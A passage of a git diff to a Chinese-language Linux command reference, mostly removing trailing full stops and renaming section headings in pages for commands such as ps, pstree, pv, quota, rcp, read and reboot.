没有定义,或者FILE 是"-",则从标准输入读入 diff --git a/Linux_man_cn/printf.md b/Linux_man_cn/printf.md index 4e403f0..f1566bc 100644 --- a/Linux_man_cn/printf.md +++ b/Linux_man_cn/printf.md @@ -33,7 +33,7 @@ **格式替代符** -* %b 相对应的参数被视为含有要被处理的转义序列之字符串。 +* %b 相对应的参数被视为含有要被处理的转义序列之字符串 * %c ASCII字符。显示相对应参数的第一个字符 * %d, %i 十进制整数 * %e, %E, %f 浮点格式 diff --git a/Linux_man_cn/protoize.md b/Linux_man_cn/protoize.md index 8ee5b4e..0fab88c 100644 --- a/Linux_man_cn/protoize.md +++ b/Linux_man_cn/protoize.md @@ -5,9 +5,9 @@ GNU-C代码转换为ANSI-C代码 ## 说明 -**protoize命令** 属于gcc套件,用于为C语言源代码文件添加函数原型,将GNU-C代码转换为ANSI-C代码。 +**protoize命令** 属于gcc套件,用于为C语言源代码文件添加函数原型,将GNU-C代码转换为ANSI-C代码 -### 语法 +## 选项 ``` protoize(选项)(参数) @@ -16,12 +16,12 @@ protoize(选项)(参数) ``` --d:设置需要转换代码的目录; --x:转换代码时排除的文件。 +-d:设置需要转换代码的目录 +-x:转换代码时排除的文件 ``` ### 参数 -文件:需要转换代码的C语言源文件。 +文件:需要转换代码的C语言源文件 diff --git a/Linux_man_cn/ps.md b/Linux_man_cn/ps.md index d9cad7f..dd3ff81 100644 --- a/Linux_man_cn/ps.md +++ b/Linux_man_cn/ps.md @@ -4,7 +4,7 @@ **ps命令** 用于报告当前系统的进程状态。可以搭配kill指令随时中断、删除不必要的程序。ps命令是最基本同时也是非常强大的进程 查看命令,使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多的资源等等, -总之大部分信息都是可以通过执行该命令得到的。 +总之大部分信息都是可以通过执行该命令得到的 ## 选项 diff --git a/Linux_man_cn/pssh.md b/Linux_man_cn/pssh.md index b903910..1e366b6 100644 --- a/Linux_man_cn/pssh.md +++ b/Linux_man_cn/pssh.md @@ -5,7 +5,7 @@ pssh ## 说明 -**pssh命令** 是一个python编写可以在多台服务器上执行命令的工具,同时支持拷贝文件,是同类工具中很出色的,类似pdsh,个人认为相对pdsh更为简便,使用必须在各个服务器上配置好密钥认证访问。 +**pssh命令** 是一个python编写可以在多台服务器上执行命令的工具,同时支持拷贝文件,是同类工具中很出色的,类似pdsh,个人认为相对pdsh更为简便,使用必须在各个服务器上配置好密钥认证访问 ### 安装pssh @@ -47,7 +47,7 @@ python setup.py install -P:打印出服务器返回信息 ``` -### 实例 +## 实例 获取每台服务器的uptime: @@ -100,6 +100,6 @@ python setup.py install 11:19:56 up 4 days, 16:30, 1 user, load average: 0.00, 0.00, 0.00 ``` -上面介绍的是pssh命令很少的一部分,大家可以将其用到适合自己的场景,发挥它的最大功效。 +上面介绍的是pssh命令很少的一部分,大家可以将其用到适合自己的场景,发挥它的最大功效 diff --git a/Linux_man_cn/pstack.md b/Linux_man_cn/pstack.md index d962c87..51425c2 100644 --- a/Linux_man_cn/pstack.md +++ b/Linux_man_cn/pstack.md @@ -5,11 +5,11 @@ pstack ## 说明 -**pstack命令** 可显示每个进程的栈跟踪。pstack 命令必须由相应进程的属主或 root 运行。可以使用 pstack 来确定进程挂起的位置。此命令允许使用的唯一选项是要检查的进程的 PID。 +**pstack命令** 可显示每个进程的栈跟踪。pstack 命令必须由相应进程的属主或 root 运行。可以使用 pstack 来确定进程挂起的位置。此命令允许使用的唯一选项是要检查的进程的 PID 命令软件包下载地址:https://packages.debian.org/sid/pstack -### 实例 +## 实例 pstree以树结构显示进程 @@ -23,7 +23,7 @@ sshd(22669)---bash(22670)---ad_preprocess(4551)-+-{ad_preprocess}(4552) `-{ad_preprocess}(4557) ``` -work为工作用户,-p为显示进程识别码,ad_preprocess共启动了6个子线程,加上主线程共7个线程。 +work为工作用户,-p为显示进程识别码,ad_preprocess共启动了6个子线程,加上主线程共7个线程 ``` ps -Lf 4551 diff --git a/Linux_man_cn/pstree.md b/Linux_man_cn/pstree.md index 8ac143a..189b845 100644 --- a/Linux_man_cn/pstree.md +++ b/Linux_man_cn/pstree.md @@ -5,9 +5,9 @@ pstree ## 说明 -**pstree命令** 以树状图的方式展现进程之间的派生关系,显示效果比较直观。 +**pstree命令** 以树状图的方式展现进程之间的派生关系,显示效果比较直观 -### 语法 +## 选项 ``` pstree(选项) @@ -16,20 +16,20 @@ pstree(选项) ``` --a:显示每个程序的完整指令,包含路径,参数或是常驻服务的标示; --c:不使用精简标示法; --G:使用VT100终端机的列绘图字符; --h:列出树状图时,特别标明现在执行的程序; --H<程序识别码>:此参数的效果和指定"-h"参数类似,但特别标明指定的程序; --l:采用长列格式显示树状图; --n:用程序识别码排序。预设是以程序名称来排序; --p:显示程序识别码; --u:显示用户名称; --U:使用UTF-8列绘图字符; --V:显示版本信息。 +-a:显示每个程序的完整指令,包含路径,参数或是常驻服务的标示 +-c:不使用精简标示法 +-G:使用VT100终端机的列绘图字符 +-h:列出树状图时,特别标明现在执行的程序 +-H<程序识别码>:此参数的效果和指定"-h"参数类似,但特别标明指定的程序 +-l:采用长列格式显示树状图 +-n:用程序识别码排序。预设是以程序名称来排序 +-p:显示程序识别码 +-u:显示用户名称 +-U:使用UTF-8列绘图字符 +-V:显示版本信息 ``` -### 实例 +## 实例 显示当前所有进程的进程号和进程id @@ -37,7 +37,7 @@ pstree(选项) pstree -p ``` -显示所有进程的所有详细信息,遇到相同的进程名可以压缩显示。 +显示所有进程的所有详细信息,遇到相同的进程名可以压缩显示 ```bash pstree -a @@ -52,7 +52,7 @@ pstree -p | grep ssh # | `-sshd(2807)---sshd(2808) ``` -从上方的输出中,你可以看到 sshd 进程与分支的树形图。sshd 的主进程是 sshd(1221),另两个分支分别为 sshd(2768) 和 sshd(2807)。 +从上方的输出中,你可以看到 sshd 进程与分支的树形图。sshd 的主进程是 sshd(1221),另两个分支分别为 sshd(2768) 和 sshd(2807) diff --git a/Linux_man_cn/pushd.md b/Linux_man_cn/pushd.md index 7fcc8f9..c3bcd1a 100644 --- a/Linux_man_cn/pushd.md +++ b/Linux_man_cn/pushd.md @@ -13,10 +13,10 @@ ``` -### 实例 +## 实例 ```sh -# 参数--目录:需要压入堆栈的目录。 +# 参数--目录:需要压入堆栈的目录 root@Mylinux:/tmp/dir4# pushd /tmp/dir3 /tmp/dir3 /tmp/dir4 /tmp/dir1 ~ @@ -25,5 +25,5 @@ root@Mylinux:/tmp/dir3# pushd /tmp/dir2 root@Mylinux:/tmp/dir2# pushd -1 /tmp/dir1 ~ /tmp/dir2 /tmp/dir3 /tmp/dir4 -# 注意:最左边表示栈顶,最右边表示栈底。 +# 注意:最左边表示栈顶,最右边表示栈底 ``` diff --git a/Linux_man_cn/pv.md b/Linux_man_cn/pv.md index beb3a5c..b1762c3 100644 --- a/Linux_man_cn/pv.md +++ b/Linux_man_cn/pv.md @@ -2,7 +2,7 @@ pv ## 说明 -**pv命令** Pipe Viewer 的简称,由Andrew Wood 开发。意思是通过管道显示数据处理进度的信息。这些信息包括已经耗费的时间,完成的百分比(通过进度条显示),当前的速度,全部传输的数据,以及估计剩余的时间。 +**pv命令** Pipe Viewer 的简称,由Andrew Wood 开发。意思是通过管道显示数据处理进度的信息。这些信息包括已经耗费的时间,完成的百分比(通过进度条显示),当前的速度,全部传输的数据,以及估计剩余的时间 ## 下载安装 @@ -14,7 +14,7 @@ sudo apt-get install pv yum install pv ``` -### 语法 +## 选项 ```bash pv(选项)(参数) @@ -66,9 +66,9 @@ pv [OPTION] [FILE]... ``` -### 实例 +## 实例 -我们(在 linux 上使用命令行的用户)的大多数使用场景都会用到的命令是从一个 USB 驱动器拷贝电影文件到你的电脑。如果你使用 cp 来完成上面的任务,你会什么情况都不清楚,直到整个复制过程结束或者出错。 +我们(在 linux 上使用命令行的用户)的大多数使用场景都会用到的命令是从一个 USB 驱动器拷贝电影文件到你的电脑。如果你使用 cp 来完成上面的任务,你会什么情况都不清楚,直到整个复制过程结束或者出错 ```bash # 复制文件会有进度 @@ -76,8 +76,8 @@ linux [master●] % pv ~/Downloads/CentOS-7-x86_64-Minimal-1511.iso > ~/Desktop/ # 下面输入信息 552MiB 0:00:02 [ 212MiB/s] [==================> ] 91% ETA 0:00:00 -# -L 可以让你修改 pv 命令的传输速率。 -# 使用 -L 选项来限制传输速率为2MB/s。 +# -L 可以让你修改 pv 命令的传输速率 +# 使用 -L 选项来限制传输速率为2MB/s pv -L 2m /media/himanshu/1AC2-A8E3/fNf.mkv > ./Desktop/fnf.mkv ``` diff --git a/Linux_man_cn/pvck.md b/Linux_man_cn/pvck.md index d32fb88..486a47e 100644 --- a/Linux_man_cn/pvck.md +++ b/Linux_man_cn/pvck.md @@ -5,9 +5,9 @@ pvck ## 说明 -**pvck命令** 用来检测物理卷的LVM元数据的一致性。默认情况下,物理卷中的前4个扇区保存着LVM卷标,可以使用`--labelsector`选项指定其他的位置(例如:数据恢复时)。 +**pvck命令** 用来检测物理卷的LVM元数据的一致性。默认情况下,物理卷中的前4个扇区保存着LVM卷标,可以使用`--labelsector`选项指定其他的位置(例如:数据恢复时) -### 语法 +## 选项 ``` pvck(选项)(参数) @@ -16,16 +16,16 @@ pvck(选项)(参数) ``` --d:调试模式; --v:详细信息模式; ---labelsector:指定LVE卷标所在扇区。 +-d:调试模式 +-v:详细信息模式 +--labelsector:指定LVE卷标所在扇区 ``` ### 参数 -物理卷:指定要检查的物理卷对应的设备文件。 +物理卷:指定要检查的物理卷对应的设备文件 -### 实例 +## 实例 使用pvck命令检查物理卷`/dev/sdb1`。在命令行中输入下面的命令: diff --git a/Linux_man_cn/pwconv.md b/Linux_man_cn/pwconv.md index 27aa559..b17b562 100644 --- a/Linux_man_cn/pwconv.md +++ b/Linux_man_cn/pwconv.md @@ -5,15 +5,15 @@ pwconv ## 说明 -**pwconv命令** 用来开启用户的投影密码。Linux系统里的用户和群组密码,分别存放在名称为passwd和group的文件中, 这两个文件位于`/etc`目录下。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符,有效的强化了系统的安全性。 +**pwconv命令** 用来开启用户的投影密码。Linux系统里的用户和群组密码,分别存放在名称为passwd和group的文件中, 这两个文件位于`/etc`目录下。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符,有效的强化了系统的安全性 -### 语法 +## 选项 ``` pwconv ``` -### 实例 +## 实例 ``` cat /etc/passwd | grep test diff --git a/Linux_man_cn/pwunconv.md b/Linux_man_cn/pwunconv.md index 5db7fd6..2e5b040 100644 --- a/Linux_man_cn/pwunconv.md +++ b/Linux_man_cn/pwunconv.md @@ -5,15 +5,15 @@ pwunconv ## 说明 -**pwunconv命令** 与pwconv功能相反,用来关闭用户的投影密码。它会把密码从shadow文件内,重回存到passwd文件里。 +**pwunconv命令** 与pwconv功能相反,用来关闭用户的投影密码。它会把密码从shadow文件内,重回存到passwd文件里 -### 语法 +## 选项 ``` pwunconv ``` -### 实例 +## 实例 ``` pwunconv //关闭影子密码 diff --git a/Linux_man_cn/quota.md b/Linux_man_cn/quota.md index 9807492..4253c14 100644 --- a/Linux_man_cn/quota.md +++ b/Linux_man_cn/quota.md @@ -5,9 +5,9 @@ quota ## 说明 -**quota命令** 用于显示用户或者工作组的磁盘配额信息。输出信息包括磁盘使用和配额限制。 +**quota命令** 用于显示用户或者工作组的磁盘配额信息。输出信息包括磁盘使用和配额限制 -### 语法 +## 选项 ``` quota(选项)(参数) @@ -16,18 +16,18 @@ quota(选项)(参数) ``` --g:列出群组的磁盘空间限制; --q:简明列表,只列出超过限制的部分; --u:列出用户的磁盘空间限制; --v:显示该用户或群组,在所有挂入系统的存储设备的空间限制; --V:显示版本信息。 +-g:列出群组的磁盘空间限制 +-q:简明列表,只列出超过限制的部分 +-u:列出用户的磁盘空间限制 +-v:显示该用户或群组,在所有挂入系统的存储设备的空间限制 +-V:显示版本信息 ``` ### 参数 -用户或者工作组:指定要显示的用户或者工作组。 +用户或者工作组:指定要显示的用户或者工作组 -### 实例 +## 实例 我们可以限制某一群组所能使用的最大磁盘配额,而且可以再限制某一使用者的最大磁盘配额 ,好比做一个收费的应用,vip可以得到空间更大一些。另外,以 Link 的方式,来使邮件可以作为限制的配额(更改`/var/spool/mail` 这个路径),不2,需要重新再规划一个硬盘!直接使用 Link 的方式指向 /home (或者其它已经做好的 quota 磁盘)就可以!这通常是用在原本规划不好,但是却又不想要更动原有主机架构的情况中! @@ -52,9 +52,9 @@ LABEL=/disk2 /disk2 ext3 defaults,usrquota,grpquota 1 2 /dev/hda3 swap swap defaults 0 0 ``` -注意多了`usrquota,grpquota`,在`defaults,usrquota,grpquota`之间都没有空格,务必正确书写。这样就算加入了 quota 的磁盘格式了!不过,由于真正的 quota 在读取的时候是读取`/etc/mtab`这个文件的,而该文件需要重新开机之后才能够以/etc/fstab 的新数据进行改写!所以这个时候可以选择:重新开机 (reboot)。 +注意多了`usrquota,grpquota`,在`defaults,usrquota,grpquota`之间都没有空格,务必正确书写。这样就算加入了 quota 的磁盘格式了!不过,由于真正的 quota 在读取的时候是读取`/etc/mtab`这个文件的,而该文件需要重新开机之后才能够以/etc/fstab 的新数据进行改写!所以这个时候可以选择:重新开机 (reboot) -重新`remount filesystem`来驱动设定值。 +重新`remount filesystem`来驱动设定值 ``` [root@localhost ~]# umount /dev/hdb1 @@ -63,13 +63,13 @@ LABEL=/disk2 /disk2 ext3 defaults,usrquota,grpquota 1 2 /dev/hdb1 /disk2 ext3 rw,usrquota,grpquota 0 0 ``` -事实上,也可以利用 mount 的 remount 功能。 +事实上,也可以利用 mount 的 remount 功能 ``` [root@localhost ~]# mount -o remount /disk2 ``` -这样就已经成功的将 filesystem 的 quota 功能加入。 +这样就已经成功的将 filesystem 的 quota 功能加入 扫瞄磁盘的使用者使用状况,并产生重要的 aquota.group 与 aquota.user: @@ -131,7 +131,7 @@ Disk quotas for user quser2 (uid 503): /dev/hdb1 0 45000 50000 0 0 0 ``` -注意,由于使用者尚未超过45 MB,所以 grace ( 宽限时间 ) 就不会出现。 +注意,由于使用者尚未超过45 MB,所以 grace ( 宽限时间 ) 就不会出现 编辑群组可使用的空间: diff --git a/Linux_man_cn/quotacheck.md b/Linux_man_cn/quotacheck.md index 60d6449..378a9b6 100644 --- a/Linux_man_cn/quotacheck.md +++ b/Linux_man_cn/quotacheck.md @@ -5,9 +5,9 @@ quotacheck ## 说明 -**quotacheck命令** 通过扫描指定的文件系统,获取磁盘的使用情况,创建、检查和修复磁盘配额(quota)文件。执行quotacheck指令,扫描挂入系统的分区,并在各分区的文件系统根目录下产生quota.user和quota.group文件,设置用户和群组的磁盘空间限制。 +**quotacheck命令** 通过扫描指定的文件系统,获取磁盘的使用情况,创建、检查和修复磁盘配额(quota)文件。执行quotacheck指令,扫描挂入系统的分区,并在各分区的文件系统根目录下产生quota.user和quota.group文件,设置用户和群组的磁盘空间限制 -### 语法 +## 选项 ``` quotacheck(选项)(参数) @@ -16,19 +16,19 @@ quotacheck(选项)(参数) ``` --a:扫描在/etc/fstab文件里,有加入quota设置的分区; --d:详细显示指令执行过程,便于排错或了解程序执行的情形; --g:扫描磁盘空间时,计算每个群组识别码所占用的目录和文件数目; --R:排除根目录所在的分区; --u:扫描磁盘空间时,计算每个用户识别码所占用的目录和文件数目; --v:显示指令执行过程。 +-a:扫描在/etc/fstab文件里,有加入quota设置的分区 +-d:详细显示指令执行过程,便于排错或了解程序执行的情形 +-g:扫描磁盘空间时,计算每个群组识别码所占用的目录和文件数目 +-R:排除根目录所在的分区 +-u:扫描磁盘空间时,计算每个用户识别码所占用的目录和文件数目 +-v:显示指令执行过程 ``` ### 参数 -文件系统:指定要扫描的文件系统。 +文件系统:指定要扫描的文件系统 -### 实例 +## 实例 将所有的在`/etc/mtab`内,含有quota支持的partition进行扫描: diff --git a/Linux_man_cn/quotaoff.md b/Linux_man_cn/quotaoff.md index 6d69201..e156581 100644 --- a/Linux_man_cn/quotaoff.md +++ b/Linux_man_cn/quotaoff.md @@ -5,9 +5,9 @@ quotaoff ## 说明 -**quotaoff命令** 用于关闭Linux内核中指定文件系统的磁盘配额功能。 +**quotaoff命令** 用于关闭Linux内核中指定文件系统的磁盘配额功能 -### 语法 +## 选项 ``` quotaoff(选项)(参数) @@ -16,14 +16,14 @@ quotaoff(选项)(参数) ``` --a:关闭在/etc/fstab文件里,有加入quota设置的分区的空间限制; --g:关闭群组的磁盘空间限制; --u:关闭用户的磁盘空间限制; --v:显示指令执行过程。 +-a:关闭在/etc/fstab文件里,有加入quota设置的分区的空间限制 +-g:关闭群组的磁盘空间限制 +-u:关闭用户的磁盘空间限制 +-v:显示指令执行过程 ``` ### 参数 -文件系统:指定要关闭磁盘配额功能的文件系统。 +文件系统:指定要关闭磁盘配额功能的文件系统 diff --git a/Linux_man_cn/quotaon.md b/Linux_man_cn/quotaon.md index c2cba1f..0f8eeb5 100644 --- a/Linux_man_cn/quotaon.md +++ b/Linux_man_cn/quotaon.md @@ -5,9 +5,9 @@ quotaon ## 说明 -**quotaon命令** 用于激活Linux内核中指定文件系统的磁盘配额功能。执行quotaon指令可开启用户和群组的才磅秒年空间限制,各分区的文件系统根目录必须有quota.user和quota.group配置文件。 +**quotaon命令** 用于激活Linux内核中指定文件系统的磁盘配额功能。执行quotaon指令可开启用户和群组的才磅秒年空间限制,各分区的文件系统根目录必须有quota.user和quota.group配置文件 -### 语法 +## 选项 ``` quotaon(选项)(参数) @@ -16,14 +16,14 @@ quotaon(选项)(参数) ``` --a:开启在/ect/fstab文件里,有加入quota设置的分区的空间限制; --g:开启群组的磁盘空间限制; --u:开启用户的磁盘空间限制; --v:显示指令指令执行过程。 +-a:开启在/ect/fstab文件里,有加入quota设置的分区的空间限制 +-g:开启群组的磁盘空间限制 +-u:开启用户的磁盘空间限制 +-v:显示指令指令执行过程 ``` ### 参数 -文件系统:指定要激活磁盘配额功能的文件系统。 +文件系统:指定要激活磁盘配额功能的文件系统 diff --git a/Linux_man_cn/raid.md b/Linux_man_cn/raid.md index 5533183..3e721ba 100644 --- a/Linux_man_cn/raid.md +++ b/Linux_man_cn/raid.md @@ -36,7 +36,7 @@ RAID 1称为磁盘镜像:采用两块硬盘互为镜像,在不影响性能 ## RAID 5 (条带技术+分布式校检) -(可以理解为是RAID 0和RAID 1的折衷方案,但没有完全使用RAID 1镜像理念,而是使用了“奇偶校验信息”来作为数据恢复的方式,与下面的RAID10不同,RAID 5 是一种存储性能、数据安全和存储成本兼顾的存储解决方案。raid5将数据分割成stripes但只平均分配到一个磁盘。奇偶校检会周期性修改,固奇偶校检信息平均分配到所有的磁盘上,其中一个损坏丢失的部分可以从其他数据以及奇偶校检计算出来。 +(可以理解为是RAID 0和RAID 1的折衷方案,但没有完全使用RAID 1镜像理念,而是使用了“奇偶校验信息”来作为数据恢复的方式,与下面的RAID10不同,RAID 5 是一种存储性能、数据安全和存储成本兼顾的存储解决方案。raid5将数据分割成stripes但只平均分配到一个磁盘。奇偶校检会周期性修改,固奇偶校检信息平均分配到所有的磁盘上,其中一个损坏丢失的部分可以从其他数据以及奇偶校检计算出来 raid 6与raid 5近似,但使用两个校验设备而不是一个,raid6可以容许两个硬盘损坏,最少需要4个设备,raid6别名双重奇偶校检条带 * 最少3块磁盘 diff --git a/Linux_man_cn/rcconf.md b/Linux_man_cn/rcconf.md index 687fabc..11fa7de 100644 --- a/Linux_man_cn/rcconf.md +++ b/Linux_man_cn/rcconf.md @@ -5,9 +5,9 @@ Debian Linux下的运行等级服务配置工具 ## 说明 -**rcconf命令** 是Debian Linux下的运行等级服务配置工具,用以设置在特定的运行等级下系统服务的启动配置。 +**rcconf命令** 是Debian Linux下的运行等级服务配置工具,用以设置在特定的运行等级下系统服务的启动配置 -### 语法 +## 选项 ``` rcconf(选项) @@ -16,9 +16,9 @@ rcconf(选项) ``` ---help:打印帮助信息; ---dialog:使用对话命令显示菜单; ---notermcheck:不按照终端属性来设置窗口尺寸。 +--help:打印帮助信息 +--dialog:使用对话命令显示菜单 +--notermcheck:不按照终端属性来设置窗口尺寸 ``` diff --git a/Linux_man_cn/rcp.md b/Linux_man_cn/rcp.md index 6f47754..01808a1 100644 --- a/Linux_man_cn/rcp.md +++ b/Linux_man_cn/rcp.md @@ -5,9 +5,9 @@ rcp ## 说明 -**rcp命令** 使在两台Linux主机之间的文件复制操作更简单。通过适当的配置,在两台Linux主机之间复制文件而无需输入密码,就像本地文件复制一样简单。 +**rcp命令** 使在两台Linux主机之间的文件复制操作更简单。通过适当的配置,在两台Linux主机之间复制文件而无需输入密码,就像本地文件复制一样简单 -### 语法 +## 选项 ``` rcp(选项)(参数) @@ -16,21 +16,21 @@ rcp(选项)(参数) ``` --p:保留源文件或目录的属性,包括拥有者、所属群组、权限与时间; --r:递归处理,将指定目录下的文件与子目录一并处理; --x:加密两台Linux主机间传送的所有信息。 --D:指定远程服务器的端口号。 +-p:保留源文件或目录的属性,包括拥有者、所属群组、权限与时间 +-r:递归处理,将指定目录下的文件与子目录一并处理 +-x:加密两台Linux主机间传送的所有信息 +-D:指定远程服务器的端口号 ``` -同名用户的主目录。如果没有给出远程用户名,就使用当前用户名。如果远程机上的路径包含特殊shell字符,需要用反斜线`\\`、双引号`""`或单引号`''`括起来,使所有的shell元字符都能被远程地解释。需要说明的是,rcp不提示输入口令,它通过rsh命令来执行拷贝。 +同名用户的主目录。如果没有给出远程用户名,就使用当前用户名。如果远程机上的路径包含特殊shell字符,需要用反斜线`\\`、双引号`""`或单引号`''`括起来,使所有的shell元字符都能被远程地解释。需要说明的是,rcp不提示输入口令,它通过rsh命令来执行拷贝 -directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式`rname@rhost:path`,其中rname是远程用户名,rhost是远程计算机名,path是这个文件的路径。 +directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式`rname@rhost:path`,其中rname是远程用户名,rhost是远程计算机名,path是这个文件的路径 ### 参数 -源文件:指定要复制的源文件。源文件可以有多个。 +源文件:指定要复制的源文件。源文件可以有多个 -### 实例 +## 实例 **rcp命令使用条件** @@ -49,7 +49,7 @@ directory 每个文件或目录参数既可以是远程文件名也可以是本 rcp test1 webserver1:/home/root/test3 ``` -在这种情况下,test1 被复制到远程子目录 test3下,名称仍为 test1 。如果仅提供了远程主机名,rcp 将把 test1 复制到远程主目录下,名称仍为 test1 。 +在这种情况下,test1 被复制到远程子目录 test3下,名称仍为 test1 。如果仅提供了远程主机名,rcp 将把 test1 复制到远程主目录下,名称仍为 test1  **还可以在目的目录中包含文件名。例如,将文件复制到名为 webserver1的系统中:** @@ -57,7 +57,7 @@ rcp test1 webserver1:/home/root/test3 rcp test1 webserver1:/home/root/test3 ``` -在这种情况下,将 test1 复制到远程目录root 下并将其命名为 test3。 +在这种情况下,将 test1 复制到远程目录root 下并将其命名为 test3 **从远程系统复制文件:要将远程系统中的文件复制到本地目录下:** @@ -71,7 +71,7 @@ rcp remote_hostname:remote_file local_fileEnter rcp webserver1:/home/root/test2 .Enter ``` -`.`是“当前目录”的简写形式。在这种情况下,远程目录中的 test2 被复制到当前目录下,名称仍为 test2 。 +`.`是“当前目录”的简写形式。在这种情况下,远程目录中的 test2 被复制到当前目录下,名称仍为 test2  如果希望用新名称复制文件,请提供目标文件名。如果希望将 test2 复制到本地系统中的其他目录下,请使用以下绝对或相对路径名: @@ -87,13 +87,13 @@ rcp webserver1:/home/root/test2 otherdir/otherfile Enter **将目录复制到远程系统:** -要将本地目录及其文件和子目录复制到远程系统,请同时使用 rcp 和 -r(递归)选项。 +要将本地目录及其文件和子目录复制到远程系统,请同时使用 rcp 和 -r(递归)选项 ``` rcp -r local_dir remote_hostname:remote_dir Enter ``` -如果当前目录下没有 local_dir,则除本地目录名外,还需要提供相对路径名(自当前目录开始)或绝对路径名(自 / 顶级目录开始)。另外,如果主目录下没有 remote_dir,则 remote_dir 将需要一个相对路径(自主目录开始)或绝对路径(自 / 开始)。 +如果当前目录下没有 local_dir,则除本地目录名外,还需要提供相对路径名(自当前目录开始)或绝对路径名(自 / 顶级目录开始)。另外,如果主目录下没有 remote_dir,则 remote_dir 将需要一个相对路径(自主目录开始)或绝对路径(自 / 开始) **要将名为 work 的子目录完整地复制到 webserver1远程计算机中的主目录下名为 products 的目录,请键入以下内容:** @@ -101,13 +101,13 @@ rcp -r local_dir remote_hostname:remote_dir Enter rcp -r work webserver1:/home/root/products Enter ``` -此命令在`webserver1:/home/root/products`下创建名为 work 的目录及其全部内容(假定`/home/root/products`已存在于 webserver1中)。 +此命令在`webserver1:/home/root/products`下创建名为 work 的目录及其全部内容(假定`/home/root/products`已存在于 webserver1中) -本示例假定用户处于包含 work 的本地目录下。否则,必须提供该目录的相对或绝对路径,如`/home/root/work`。 +本示例假定用户处于包含 work 的本地目录下。否则,必须提供该目录的相对或绝对路径,如`/home/root/work` **从远程系统复制目录:** -要将远程目录及其所有文件和子目录复制到本地目录,请在以下语法中使用 rcp 和 -r(递归)选项。 +要将远程目录及其所有文件和子目录复制到本地目录,请在以下语法中使用 rcp 和 -r(递归)选项 ``` rcp –r remote_hostname:remote_dir local_dir Enter @@ -119,7 +119,7 @@ rcp –r remote_hostname:remote_dir local_dir Enter rcp –r webserver1:/home/root/work .Enter ``` -`.`表示当前目录。将在此目录下创建 work 目录。 +`.`表示当前目录。将在此目录下创建 work 目录 diff --git a/Linux_man_cn/read.md b/Linux_man_cn/read.md index 6b5f8eb..aa2d8b1 100644 --- a/Linux_man_cn/read.md +++ b/Linux_man_cn/read.md @@ -6,7 +6,7 @@ ```markdown read [-ers] [-a 数组] [-d 分隔符] [-i 缓冲区文字] [-n 读取字符数] [-N 读取字符数] [-p 提示符] [-t 超时] [-u 文件描述符] [名称 ...] -从标准输入读取一行并将其分为不同的域,从标准输入读取单独的一行,或者如果使用了 -u 选项,从文件描述符 FD 中读取。 +从标准输入读取一行并将其分为不同的域,从标准输入读取单独的一行,或者如果使用了 -u 选项,从文件描述符 FD 中读取 该行被分割成域,如同词语分割一样,并且第一个词被赋值给第一个 NAME 变量,第二个词被赋值给第二个 NAME 变量,如此继续,直 到剩下所有的词被赋值给最后一个NAME变量。只有 $IFS 变量中的字符被认作是词语分隔符。如果没有提供 NAME 变量,则读取的行被 存放在 REPLY 变量中 @@ -15,11 +15,11 @@ read [-ers] [-a 数组] [-d 分隔符] [-i 缓冲区文字] [-n 读取字符数] ## 选项 ```markdown --a array 将词语赋值给 ARRAY 数组变量的序列下标成员,从零开始。 +-a array 将词语赋值给 ARRAY 数组变量的序列下标成员,从零开始 -d delim 持续读取直到读入 DELIM 变量中的第一个字符,而不是换行符 -e 在一个交互式 shell 中使用 Readline 获取行 -i text 使用 TEXT 文本作为 Readline 的初始文字 --n nchars 读取 nchars 个字符之后返回,而不是等到读取换行符。但是分隔符仍然有效,如果遇到分隔符之前读取了不足 nchars 个字符。 +-n nchars 读取 nchars 个字符之后返回,而不是等到读取换行符。但是分隔符仍然有效,如果遇到分隔符之前读取了不足 nchars 个字符 -N nchars 在准确读取了 nchars 个字符之后返回,除非遇到文件结束符或者读超时,任何的分隔符都被忽略 -p prompt 在尝试读取之前输出 PROMPT 提示符并且不带换行符 -r 不允许反斜杠转义任何字符 @@ -29,7 +29,7 @@ read [-ers] [-a 数组] [-d 分隔符] [-i 缓冲区文字] [-n 读取字符数] -u fd 从文件描述符 FD 中读取,而不是标准输入 退出状态: -返回码为零,除非遇到了文件结束符,读超时,或者无效的文件描述符作为参数传递给了 -u 选项。 +返回码为零,除非遇到了文件结束符,读超时,或者无效的文件描述符作为参数传递给了 -u 选项 ``` ## 实例 diff --git a/Linux_man_cn/readonly.md b/Linux_man_cn/readonly.md index 613988f..081e298 100644 --- a/Linux_man_cn/readonly.md +++ b/Linux_man_cn/readonly.md @@ -5,9 +5,9 @@ readonly ## 说明 -**readonly命令** 用于定义只读shell变量和shell函数。readonly命令的选项-p可以输出显示系统中所有定义的只读变量。 +**readonly命令** 用于定义只读shell变量和shell函数。readonly命令的选项-p可以输出显示系统中所有定义的只读变量 -### 语法 +## 选项 ``` readonly(选项)(参数) @@ -16,16 +16,16 @@ readonly(选项)(参数) ``` --f:定义只读函数; --a:定义只读数组变量; --p:显示系统中全部只读变量列表。 +-f:定义只读函数 +-a:定义只读数组变量 +-p:显示系统中全部只读变量列表 ``` ### 参数 -变量定义:定义变量,格式为“变量名=‘变量值’”。 +变量定义:定义变量,格式为“变量名=‘变量值’” -### 实例 +## 实例 使用readonly命令显示系统中所有的已经定义的只读变量,输入如下命令: @@ -51,6 +51,6 @@ declare -ir UID="0" -bash: test: readonly variable ``` -当用户试图修改只读变量的值时,会被提示该变量为只读变量。 +当用户试图修改只读变量的值时,会被提示该变量为只读变量 diff --git a/Linux_man_cn/reboot.md b/Linux_man_cn/reboot.md index efd0a3b..9538d2d 100644 --- a/Linux_man_cn/reboot.md +++ b/Linux_man_cn/reboot.md @@ -5,14 +5,14 @@ ```sh -d --no-wtmp 重新开机时不把数据写入记录文件/var/tmp/wtmp,本参数具有“-n”参数效果 --no-wall 在halt/power-off/reboot之前不发送wall信息 --f --force 强制立即重新开机,不调用shutdown指令的功能; +-f --force 强制立即重新开机,不调用shutdown指令的功能 -n --no-sync 重开机之前不同步hard disks/storage media(检查是否有未结束的程序) --w --wtmp-only 仅做测试,并不真正将系统重新开机,只会把重开机的数据写入/var/log目录下的wtmp记录文件。 +-w --wtmp-only 